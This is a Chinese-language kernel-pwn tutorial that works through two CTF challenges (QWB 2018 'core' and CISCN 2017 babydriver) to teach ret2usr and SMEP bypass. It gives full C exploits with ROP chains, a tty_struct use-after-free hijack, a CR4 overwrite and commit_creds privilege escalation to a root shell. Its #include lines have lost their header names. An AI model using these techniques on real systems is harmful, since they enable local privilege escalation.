Kernel pwn 基礎教程之 ret2usr 與 bypass_smep
一、前言
在我們的pwn學習過程中,能夠很明顯的感覺到開發人員們為了阻止某些利用手段而增加的保護機制,往往這些保護機制又會引發出新的bypass技巧,像是我們非常熟悉的Shellcode與NX,NX與ROP。而當我們將視角從用戶態放到內核態的時候,便是筆者今天想與大家分享的兩個利用手段:ret2usr與bypass_smep。
二、ret2usr利用介紹
ret2usr的資料在網上其實并不算多,究其原因是其利用手法相對簡單,其本意是利用了內核空間可以訪問用戶空間這個特性來定向內核代碼或數據流指向用戶空間,并以ring0的特權級在用戶空間完成提權操作。
三、ret2usr例題講解
這次以Kernel ROP那一篇中介紹過的例題"2018年強網杯 core"來對ret2usr利用手段進行講解,具體的題目分析在之前的篇章中已經做過具體分析,這邊只是簡單概述一下模塊內容。
在core_ioctl函數中定義的三種功能 0x6677889B:執行core_read函數,存在內存信息泄露,可用來leak canary 0x6677889C:對全局變量off賦值,可用來控制core_read函數中的內存偏移,從而造成泄露問題 0x6677889A:執行core_copy_func函數,配合core_write函數以及對復制的內容長度不嚴謹從而造成棧溢出隱患
在前一篇Kernel ROP中我們的利用思路具體如下所示。
1、保存返回用戶態所需的寄存器信息 2、利用core_read leak canary 3、通過/tmp/kallsyms中的信息獲取函數地址與計算ropgadget的偏移 4、利用core_copy_func函數存在的棧溢出控制內核程序流完成提權并返回用戶態執行shell
而本篇的ret2usr中我們的利用思路則發生了些許的改變,原先第四步中我們通過劫持內核程序流并構造ropchain來完成的提權步驟,現在我們修改提權方式,控制內核程序流訪問user space中的函數指針來完成提權操作,在我們的exp中構建如下的函數。
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
可以看到我們通過函數指針的方式在用戶空間執行了commit_creds(prepare_kernel_cred(0)),能過做到這樣的本質原因是因為我們在劫持程序流程的時候處在ring0權限,并且因為SMEP保護未開啟的原因我們可以從內核空間訪問用戶空間的代碼,所以才能完成提權的操作。
當我們控制內核程序流在用戶空間完成提權工作以后,就可以返回用戶態并獲取rootShell了,完整EXP如下所示。
#include
#include
#include
#include
#include
#include
#include
#include
#define CORE_READ 0x6677889B
#define SET_OFFSET 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
unsigned long long int canary[64] = {0};
unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
//ffffffffb8c9c8e0 T commit_creds
int leak_addr() {
int idx;
char buf[1024];
int fd = open("/tmp/kallsyms", 0);
if (fd < 0) {
puts("[-] ERROR.");
exit(0);
}
puts("[+] Leak Address...");
while (1) {
int i;
for (i = 0; i < sizeof(buf); i++) {
read(fd, buf + i, 1);
if(buf[i] == '') {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%llx", &commit_creds);
printf("[+] Find commit_creds_address: 0x%llx", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
return 1;
}
else {
i = 0;
}
}
}
}
return 0;
}
void leak_canary(int fd) {
puts("[+] Leak Canary...");
ioctl(fd, SET_OFFSET, 0x40);
ioctl(fd, CORE_READ, canary); //core_read+105
printf("[+] Canary: 0x%llx ", canary[0]);
}
void get_shell() {
if (getuid() == 0) {
puts("[+] root shell.");
system("/bin/sh");
}
}
void main() {
unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
unsigned long long int rop[0x60];
int i = 8;
int fd = open("/proc/core", 'r');
if (fd <= 0) {
puts("[-] open filename 'core' ERROR.");
exit(0);
}
save_status();
leak_addr();
leak_canary(fd);
offset = vmlinux_base - raw_vmlinux_base;
pop_rdi = offset + 0xffffffff81000b2f;
pop_rsi = offset + 0xffffffff810011d6;
pop_rdx = offset + 0xffffffff810a0f49;
pop_rcx = offset + 0xffffffff81021e53;
swapgs = offset + 0xffffffff81a012da;
iretq = offset + 0xffffffff81050ac2;
xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret;
mov_rdi_rax = offset + 0xffffffff8106a6d2;
printf("0x%llx", offset);
rop[i++] = canary[0];
rop[i++] = 0;
rop[i++] = (unsigned long long int)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (unsigned long long int)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100);
}

四、bypass_smep原理介紹
ret2usr利用最根本的原因是因為內核態可以任意訪問用戶態的數據,從而造成了被利用的風險。而SMEP對于ret2usr正如NX與Shellcode一樣有效的降低了被利用的風險。
SMEP(Supervisormode execution protection,SMEP)機制的作用是,當進程在內核模式下運行時,該防御機制會將頁表中的所有用戶空間的內存頁標記為不可執行的。在內核中,這個功能可以通過設置控制寄存器CR4的第20位來啟用。在啟動時,可以通過在-cpu選項下加入+smep來啟用該防御機制,通過在-append選項下加入nosmep來禁用該機制。
由于SMEP保護使得內核空間無法訪問用戶空間的內容,從而使得ret2usr的利用變得不可行。但是正如我們開頭所說的那樣,保護機制的誕生會演化出新的bypass技巧。系統根據CR4寄存器中第二十位的值來判斷SMEP保護是否開啟,1為開啟0為關閉。

而CR4寄存器我們是可以通過gadget來對里面的值進行修改的,為了關閉SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。
五、bypass_smep例題講解
同樣是前面文章所提到過的2017-CISCN-babydriver,在前面的學習中我們利用Kernel UAF的方式完成了提權操作,而本次我們所要學習的就是劫持程序流關閉SMEP保護以后,利用前面所學習的ret2usr完成提權操作并獲取rootshell。
在分析利用思路之前,我們需要引入一個新的結構體tty_struct。這是一個在打開/dev/ptmx設備時會分配的結構體,源碼如下所示。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
而其中有一個非常有用的結構體tty_operations,其源碼如下所示,不難看出其中含有大量的函數指針供我們使用。所以我們可以使用一種類似于FSOP中偽造vtable表的方式來偽造這個結構體使其可以控制內核程序流。
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
那么具體應該怎么利用呢?首先我們需要注意到的就是在本題環境中tty_struct結構體占0x260字節大小,所以我們可以利用題目中存在的UAF漏洞泄露出結構體的部分內容并修改其中的tty_operations指向我們偽造的結構體fake_tty_ops并在其中布置好相應的ropchain即可完成最終的利用。
但是這樣的話又會產生一個問題,我們偽造的tty_operations結構體中應該怎么布局才可以呢?我們不妨寫一個簡單的測試代碼通過動調的方式來理解,具體的代碼如下所示。
#include
#include
#include
#include
#include
#include
#include
#include
void main() {
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = 0xffffffffc0000130;
fake_tty_ops[1] = 0xffffffffc0000130;
fake_tty_ops[2] = 0xffffffffc0000130;
// fake_tty_ops[7] = mov_rsp_rax;
fake_tty_ops[7] = 0xffffffffc0000130;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}
然后我們將寫好的demo靜態編譯完成后,使用gdb腳本調試,創建gdbint文件并寫入如下內容,最后在qemu啟動腳本中添加-s選項并另開shell窗口執行gdb -x gdbinit即可動調。
file vmlinux add-symbol-file babydriver.ko 0xffffffffc0000000 b babyread target remote :1234 continue
上面的demo中我們偽造了tty_operations結構體中write函數指針為babyread函數地址,并且通過動調我們可以發現rax寄存器正是我們所偽造的fake_tty_operations結構體的地址,那么如果我們將tty_operations結構體中write函數指針位置放置諸如 mov rsp ,rax; 一類的gadget,則可以劫持棧指針到我們的fake_tty_operations地址處,我們再在偽造的結構體開頭布置上二次棧遷移的gadget控制rsp指向我們布置的ropchain上,那么就可以執行關閉SMEP的rop,然后我們就可以利用前面介紹的ret2usr rop進行提權利用啦。

EXP.C
#include
#include
#include
#include
#include
#include
#include
#include
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t pop_rdi = 0xffffffff810d238d;
size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
size_t swapgs = 0xffffffff81063694; // swapgs; pop rbp; ret;
size_t iretq = 0xffffffff814e35ef;
size_t pop_rax = 0xffffffff8100ce6e;
size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void beroot() {
char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
void (*func2)(char*) = (void (*)(char *))commit_creds;
(*func2)((*func1)(0));
}
void getshell() {
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
}else {
puts("[-] Get shell error.");
exit(0);
}
}
void main() {
save_status();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
// set ropchain
size_t rop[0x30] = {0};
int i = 0;
rop[i++] = pop_rdi;
rop[i++] = 0x6f0;
rop[i++] = mov_cr4;
rop[i++] = 0;
rop[i++] = (size_t)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
fake_tty_ops[0] = pop_rax;
fake_tty_ops[1] = (size_t)rop;
fake_tty_ops[2] = mov_rsp_rax;
fake_tty_ops[7] = mov_rsp_rax;
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
write(fd_tty, "AMALLL", 6);
}

六、總結
筆者分享的兩種利用方式都不算困難,但是需要注意的是在編譯exploit時請使用Ubuntu 16.04的環境,筆者嘗試使用Ubuntu 20 與 18的環境編譯exploit最終執行階段都無法完成提權操作。同時在做Kernel題目的時候會明顯的感覺自己的知識樹儲備不夠,這里筆者推薦《操作系統真象還原》這本書,里面不管是案例還是講解都非常有趣,相信你一定能從這本書中有所收獲。